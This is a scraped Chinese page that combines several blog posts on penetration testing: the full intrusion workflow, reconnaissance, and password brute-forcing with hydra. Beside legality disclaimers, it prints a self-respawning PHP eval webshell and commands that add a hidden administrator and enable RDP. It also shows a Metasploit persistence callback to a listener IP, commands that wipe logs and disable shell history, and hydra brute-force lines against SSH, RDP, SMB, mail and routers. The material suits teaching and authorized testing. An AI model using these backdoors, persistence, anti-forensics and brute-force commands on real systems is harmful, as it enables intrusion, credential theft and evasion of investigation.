渗透测试 订阅
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。 展开全文
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
信息
特    点
一个渐进的并且逐步深入的过程
作    用
是通过模拟恶意黑客的攻击方法
方    法
通过使用两套扫描器进行安全评估
中文名
渗透测试
功    能
是一种机制
外文名
penetration test
渗透测试渗透测试
渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。作为网络安全防范的一种新技术,对于网络安全组织具有实际应用价值。但要找到一家合适的公司实施渗透测试并不容易。
收起全文
精华内容
下载资源
问答
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    如果想跟我一起讨论,那快加入我的知识星球吧!  

    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

     如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流!知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具

     

    相关文章:红蓝对抗经验小结

    展开全文
  • 渗透测试

    千次阅读 2018-09-25 23:49:44
    渗透测试流程,专业术语具体看这里

    渗透测试流程,专业术语具体看这里

    渗透测试之信息收集
    谈谈渗透测试下的信息收集 结合起来一起看

    当我们拿到一个目标进行渗透测试的时候,我们关注目标主机的whois信息,子域名,目标IP,旁站C段查询,邮箱搜集,CMS类型,敏感目录,端口信息,服务器与中间件信息。针对上边的信息,网上有很多工具,但是,我们可以自己写一个工具得到所有的信息,方便渗透测试。

    • CDN在百度百科里的解释是:内容分发网络。基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。 但在渗透测试里,人家说:现在大部分网站都加了CDN,CDN的虚假IP干扰了我们的渗透测试,所以我们要绕过CDN查找到目标的真实IP(感觉意思好像是CDN会弄出虚假ip,使得我们很难找到真实ip)

    • php探针(这个没有实操使用过)
      PHP探针是一个查看服务器信息的工具
      上传文件到网站根目录
      比如

      <?php
       phpinfo(); 
       ?>
      
    • 术语:社会工程学(简称社工)

      社会工程学需要搜集大量的信息针对对方的实际情况,进行心理战术的一种手法。
      社会工程学是一种黑客攻击方法,利用欺骗等手段骗取对方信任,获取机密情报。社会工程学就是使人们顺从你的意愿、满足你的欲望的一门艺术与学问。

    • WAF Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
      利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    护卫神成立于2005年,是国内最大的服务器软件供应商
    安全狗,互联网安全品牌,云安全服务与解决方案提供商 [

    nmap
    https://blog.csdn.net/wufenghsk/article/details/69098677
    https://www.cnblogs.com/nmap/p/6232207.html

    查看cookie
    https://blog.csdn.net/ZWE7616175/article/details/80274850
    法一:在url里输入javascript:alert(document.cookie)
    法二:点击url框里绿色的锁,安全连接里查看更多,就可以看到更多cookie啦

    展开全文
  • 学习目标:掌握kali Linux渗透测试技巧、掌握常见漏洞检测及利用方法、全部学习完成后可就业渗透测试工程师、web安全工程师、安全运维工程师、漏洞挖掘工程师、安全驻场工程师等   特别提醒:本课程购买后可...
  • 想要成为一名高级渗透测试工程师,要能独立完成诸多的安全测试项,此文档记载了较全面的安全测试项,共勉!
  • CMS同样能在网上找到许多漏洞,常用作渗透测试的练习靶机。根据提示,第1题要求找到咨询平台的管理员账号密码;第2题需要登录服务器后台,并插入木马,再用中国菜刀连接,继而找到在管理员桌面上的 flag文件;第3题...
  • 渗透测试流程图-PTES渗透测试执行标准,涉及渗透测试全流程,从前期准备交互阶段到情报收集、漏洞分析、渗透攻击到后渗透测试及报告。
  • 渗透测试面试题2019版,渗透测试面试题目
  • 渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战

    目录

    九头蛇hydra

    使用方法

    案例分析

    暴破ssh登录密码

    环境介绍

    开始爆破

    破解成功

    测试登录

    各种协议破解汇总

    FTP协议破解

    http协议破解

    https协议破解

    路由器破解

    http-proxy协议破解

    smb破解

     Windows远程桌面

    邮箱pop3

    telnet破解

    语音通讯工具teamspeak

    cisco


    九头蛇hydra

    记得美国队长中的大反派hydra(九头蛇)组织吗?

    今天介绍的这款渗透测试工具,也叫这个名字。

    hydra是著名组织thc的一款开源的暴力破解密码工具,功能非常强大

    kali下是默认安装的,几乎支持所有协议的在线破解。

    密码能否破解,在于字典是否强大以及电脑的性能。

    我们就介绍下,这个装备怎么用

    使用方法

    语法:Hydra 参数 IP 服务
    参数:
    -l login 小写,指定用户名进行破解
    -L file 大写,指定用户的用户名字典
    -p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
    -P file 大写,用于指定密码字典。
    -e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
    -M file 指定目标ip列表文件,批量破解。
    -o file 指定结果输出文件
    -f 找到第一对登录名或者密码的时候中止破解。
    -t tasks 同时运行的线程数,默认是16
    -w time 设置最大超时时间,单位
    -v / -V 显示详细过程
    -R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
    -x 自定义密码。

    service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
    注意点:1.自己创建字典,然后放在当前的目录下或者指定目录。
    2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
    3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
    4.缺点,如果目标网站登录时候需要验证码就无法破解。
    5.man hydra最万能。
    6.或者hydra -U http-form等查看具体帮助。

    案例分析

    暴破ssh登录密码

    环境介绍

    攻击机:kali
    装有hydra工具
    
    靶机:192.168.154.131
    安装ssh服务,正常运行

    为了测试方便,我们创建两个简单的字典文件,如下:

    开始爆破

    根据命令参数,组织参数格式如下:

    root@kali:/mnt# hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh

    破解成功

    因为字典数量比较少,我们可以轻易的破解成功,但是实际情况下,我们可能需要很久。

    测试登录

    使用得到的用户名/密码登录服务器,登录成功

    各种协议破解汇总

    FTP协议破解

    破解ftp:
    
    hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v

    http协议破解

    get方式提交,破解web登录:
    
    hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
    hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.php
    
    post方式提交,破解web登录:
    
    hydra -f -l 用户名 -P 密码字典 -V -s 9900 IP地址 http-post-form "/admin/index.php?action=login:user=USER&pw=PASS:"
    
    
    #/index.php …这个是登录的 url
    #后门是POST的数据 其中的用户名密码使用 USER PASS 来代替
    #然后是如果登录出错 会出现的字符 。。。然后开始破解

    https协议破解

    破解https
    
    hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https

    路由器破解

    hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
    -l admin 为尝试破解的用户名。
    
    # -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)

    http-proxy协议破解

    破解http-proxy:
    
    hydra -l admin -P 字典.txt http-proxy://IP地址

    smb破解

    破解smb:
    
    hydra -l 用户名字典 -P 密码字典 IP地址 smb

     Windows远程桌面

    破解rdp(windows远程登录):
    
    hydra ip地址 rdp -l administrator -P 密码字典.txt -V

    邮箱pop3

    破解邮箱pop3:
    
    hydra -l 用户名 -P 密码字典.txt my.pop3.mail pop3

    telnet破解

    hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V

    语音通讯工具teamspeak

    hydra -l 用户名字典 -P 密码字典.txt -s 端口号 -vV ip teamspeak

    cisco

    hydra -P 密码字典 IP地址 cisco
    hydra -m cloud -P 密码字典 IP地址 cisco-enable

     推荐阅读

    【资源推荐】

    python实战

    【pygame开发实战开发30例 完整源码】

    【pygame游戏开发专栏,获取完整源码+教程】

    CSDN官方学习推荐 ↓ ↓ ↓

    • CSDN出的Python全栈知识图谱,太强了,推荐给大家!

     

    3754997

    展开全文
  • 渗透测试之信息收集

    万次阅读 多人点赞 2018-11-16 11:11:41
    主机扫描(Nessus) 端口扫描(nmap) 网站敏感目录和文件 旁站和C段扫描 网站漏洞扫描 信息收集 信息收集对于渗透测试前期来说是非常重要的,因为只有我们掌握了目标网站或目标主机足够多的信息之后,我们才能更好地对...

    目录

    信息收集

    域名信息的收集

    公司敏感信息网上搜集

    网站指纹识别

    整站分析

    服务器类型(Linux/Windows)

    网站容器(Apache/Nginx/Tomcat/IIS)

    脚本类型(php/jsp/asp/aspx)

    数据库类型(Mysql/Oracle/Accees/Mqlserver)

    主机扫描(Nessus)

    端口扫描(nmap)

    网站敏感目录和文件

    旁站和C段扫描

    网站漏洞扫描


    信息收集

    信息收集对于渗透测试前期来说是非常重要的,因为只有我们掌握了目标网站或目标主机足够多的信息之后,我们才能更好地对其进行漏洞检测。正所谓,知己知彼百战百胜!

    信息收集的方式可以分为两种:主动和被动

    • 主动信息收集:通过直接访问、扫描网站,这种流量将流经网站
    • 被动信息收集:利用第三方的服务对目标进行访问了解,比例:Google搜索、Shodan搜索等

    传送门: Google Hacking的用法

                   Shodan的使用

    没有一种方式是最完美的,每个方式都有自己的优势,主动方式,你能获取更多的信息,但是目标主机可能会记录你的操作记录。被动方式,你收集的信息会相对较少,但是你的行动并不会被目标主机发现。一般在一个渗透项目下,你需要有多次的信息收集,同时也要运用不同的收集方式,才能保证信息收集的完整性。

    而信息收集到底要收集哪些信息呢?接下来,我就给大家整理了一下,渗透测试中常见的一些需要收集的信息。

    域名信息的收集

    当我们确定了要渗透的目标,也就是知道了其域名,接下来我们需要收集域名对应的 ip,域名的whois信息、子域名等等一系列与域名相关的信息。

    判断域名对应的IP:首先,我们要判断该域名是否存在CDN的情况,我们可以去在线CDN查询网站:多个地点Ping服务器,网站测速 - 站长工具   。如果查询出的ip数量大于一个的话,则说明该ip地址不是真实的服务器地址。以我的经验来看,如果是2个或者3个,并且这几个地址是同一地区的不同运营商的话,则很有可能这几个地址是服务器的出口地址,该服务器在内网中,通过不同运营商NAT映射供互联网访问,同时采用几个不同的运营商可以负载均衡和热备份。如果是多个ip地址,并且这些ip地址分布在不同地区的话,则基本上可以断定就是采用了CDN了。那么如何绕过CDN查找网站真实的ip地址呢?传送门——>  绕过CDN查找网站真实ip

    域名的whois信息whois是用来查询域名注册所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。通过whois来实现对域名信息的查询。早期的whois查询多以命令行接口存在,但是现在出现了一些网页接口简化的线上查询工具,可以一次向不同的数据库查询。网页接口的查询工具仍然依赖whois协议向服务器发送查询请求,命令行接口的工具仍然被系统管理员广泛使用。whois通常使用TCP协议43端口。每个域名/IP的whois信息由对应的管理机构保存。

    通常,我们进行whois查询是去: 站长之家whois查询  。然后查出来信息之后,可以根据查询出来的邮箱、注册人、公司、电话等进行反查。

    子域名、DNS记录查询:传送门——> 子域名查询、DNS记录查询

    公司敏感信息网上搜集

    当确定了公司后,我们可以去互联网上查询与该公司有关的任何信息。比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。并且,我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。传送门——> Github搜索语法

    网站指纹识别

    在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。CMS又称整站系统。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。

    常见的网站指纹识别工具有:whatweb等。

    在线指纹识别网站:

    整站分析

    服务器类型(Linux/Windows)

    服务器信息包括服务器用的操作系统:Linux 还是 Windows 。现在企业网站服务器的操作系统有百分之九十以上用的是Linux操作系统。知道了服务器的操作系统之后,还需要知道操作系统使用的具体版本。因为很多低版本的操作系统都存在已知的漏洞。

    判断是Linux还是Windows最简单就是通过ping来探测,Windows的TTL值都是一般是128,Linux则是64。所以大于100的肯定是Windows,而几十的肯定是Linux。但是,通过TTL值来判断服务器类型也不是百分之百准确的,有些windows服务器的TTL值也是几十,而且有的服务器禁止ping。

    而判断目标网站服务器的具体的版本的话,可以采用 nmap 进行扫描, -O 和 -A 参数都能扫描出来

    网站容器(Apache/Nginx/Tomcat/IIS)

    知道了这些信息之后,我们就需要知道网站用的web服务器是什么类型的:Apache、Nginx、Tomcat 还是 IIS。知道了web服务器是哪种类型后,我们还要探测web服务器具体的版本。比如Ngnix版本<0.83会有解析漏洞 ,IIS6.0会有文件名解析漏洞、IIS7.0会有畸形解析漏洞等。不同的web服务器版本,存在着不同漏洞。

    脚本类型(php/jsp/asp/aspx)

    我们需要知道网站用的脚本类型:php 、Jsp 、Asp 、Aspx 。

    1:可以根据网站URL来判断

    2:site:xxx  filetype:php

    3:可以根据Firefox的插件来判断

    相关文章:php、jsp、asp和aspx的区别 

    数据库类型(Mysql/Oracle/Accees/Mqlserver)

    我们需要知道网站用的是哪种类型的数据库:Mysql、Oracle、SqlServer 还是 Access 。虽然这几种数据库的语法大体上相同,但是还是有区别的。所以我们还是要知道目标网站用的是哪种数据库,并且数据库是哪个版本的

    几种数据库的区别:

    • Access 全名是Microsoft Office Access,是由微软发布的关联式数据库管理系统。小型数据库,当数据库达到100M左右的时候性能就会下降。数据库后缀名: .mdb   一般是asp的网页文件用access数据库 
    • SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf
    • MySQL 是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL是最流行的关系型数据库管理系统,在 WEB 应用方面MySQL是最好的应用软件之一,MySQL数据库大部分是php的页面。默认端口是3306
    • Oracle又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521

    首先,成本上的差距,access是不要钱的,mysql也是开源的,sql server 是收费的一般也就几千,Oracle的费用则数万。其次,处理能力,access支持千以内的访问量,sql server支持几千到上万的访问,而Oracle则支持海量的访 问。再次,从数据库的规模来看,access是小型数据库,,mysql 是中小型数据库,sql server是中型数据库,Oracle是大型数据库。

    常见搭配:

    • ASP 和 ASPX:ACCESS、SQL Server
    • PHP:MySQL、PostgreSQL
    • JSP:Oracle、MySQL

    主机扫描(Nessus)

    对目标主机进行扫描,而不仅仅是对网站进行扫描,扫描目标主机开放了哪些端口,扫描端口运行的服务,目标主机上有哪些漏洞。

    主机扫描的工具也有很多,比如:Nessus 

    传送门: Nessus扫描器的使用

    端口扫描(nmap)

    需要知道目标服务器开放了哪些端口,常见的如 135 、137 、138 、139 、445,这几个端口经常爆发漏洞。以下是一些服务端口的漏洞:

    • 22——>ssh弱口令
    • 873——>rsync 未授权访问漏洞
    • 3306——>mysql弱口令
    • 6379——>redis未授权访问漏洞

    端口扫描工具有nmap和masscan。nmap扫描的准确性较高,但是扫描的比较慢。masscan扫描的比较快,但是准确性较低。

     传送门:Nmap使用详解   、 常见危险端口服务及对应的漏洞

    网站敏感目录和文件

    扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏

    • 后台目录:弱口令,万能密码,爆破
    • 安装包:获取数据库信息,甚至是网站源码
    • 上传目录:截断、上传图片马等
    • mysql管理接口:弱口令、爆破,万能密码,然后脱裤,甚至是拿到shell
    • 安装页面 :可以二次安装进而绕过
    • phpinfo:会把你配置的各种信息暴露出来
    • 编辑器:fck、ke、等
    • iis短文件利用:条件比较苛刻  windows、apache等

    提到了网站敏感目录我们就不得不提 robots.txt 文件了

    robots.txt 文件是专门针对搜索引擎机器人robot 编写的一个纯文本文件。我们可以在这个文件中指定网站中不想被robot访问的目录。这样,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。因此我们可
    以利用robots.txt让Google的机器人访问不了我们网站上的重要文件,GoogleHack的威胁也就不存在了。
    假如编写的robots.txt文件内容如下:

    User-agent: *
    Disallow: /data/
    Disallow: /db/
    Disallow: /admin/
    Disallow: /manager/
    Allow:/images/

    其中“Disallow”参数后面的是禁止robot收录部分的路径,例如我们要让robot禁止收录网站目录下的“data”文件夹,只需要在Disallow参数后面加上 /data/  即可。如果想增加其他目录,只需按此格式继续添加。文件编写完成后将其上传到网站的根目录,就可以让网站远离Google Hack了。

    虽然robots文件目的是让搜索蜘蛛不爬取想要保护的页面,但是如果我们知道了robots文件的内容的话,我们就可以知道目标网站哪些文件夹不让访问,从侧面说明这些文件夹是很重要的了。

    探测目标网站后台目录的工具有: wwwscan 、御剑 、 dirbuster、cansina 等

    传送门——> 网站目录扫描工具

    旁站和C段扫描

    旁站指的是同一服务器上的其他网站,很多时候,有些网站可能不是那么容易入侵。那么,可以查看该网站所在的服务器上是否还有其他网站。如果有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!

    对于红蓝对抗和护网,C段扫描比较有意义。对于单独网站的渗透测试,C段扫描意义不大。C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1,A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。

    旁站和C段在线查询地址:

    • http://www.webscan.cc/
    • https://phpinfo.me/bing.php

    网站漏洞扫描

    网站漏洞扫描就是直接对网站进行漏洞探测了。网站漏洞扫描也有很多工具。比如 AWVS、AppScan、OWASP-ZAP、nessuss等等。但是需要注意的是,使用漏扫工具直接对网站进行扫描,因为一下子流量过大,有些网站可能会崩溃。所以一般最好不要使用漏洞扫描工具对网站进行扫描。并且如果未经授权就用漏扫对网站进行扫描还是违法的!

     如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流!知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具

    传送门:AWVS扫描器的用法

                 AppScan扫描器的用法

                 OWASP-ZAP扫描器的使用

                 Nessus扫描器的使用

    相关文章:攻防视角下的信息收集

    展开全文
  • 介绍Metasploit使用方法,进行各种各样的渗透测试
  • 渗透测试-源码

    2021-02-17 04:51:34
    渗透测试
  • 安全测试与渗透测试区别.安全测试不同于渗透测试渗透测试侧重于几个点的穿透攻击,而安全测试是侧重于对安全威胁的建模,系统的对来自各个方面,各个层面威胁的全面考量。安全测试可以告诉您,您的系统可能会来自...
  • 注册渗透测试工程师指南,想要考PTE,有需要的可以下载
  • Metasploit渗透测试

    2018-11-28 12:01:05
    Metasploit渗透测试
  • KALi 渗透测试

    2018-09-13 10:35:52
    通过kali系统详细的介绍渗透测试过程,通过工具渗透,带来渗透测试思路
  • 渗透测试测试报告.pdf

    2021-10-08 04:00:37
    渗透测试测试报告.pdf
  • web渗透测试

    2021-06-09 22:42:07
    Web渗透测试教程,该课程侧重于讲解Web安全,并通过实验详细分析常见的十种Web漏洞、漏洞利用过程等。
  • 安全渗透测试

    2020-07-01 09:51:05
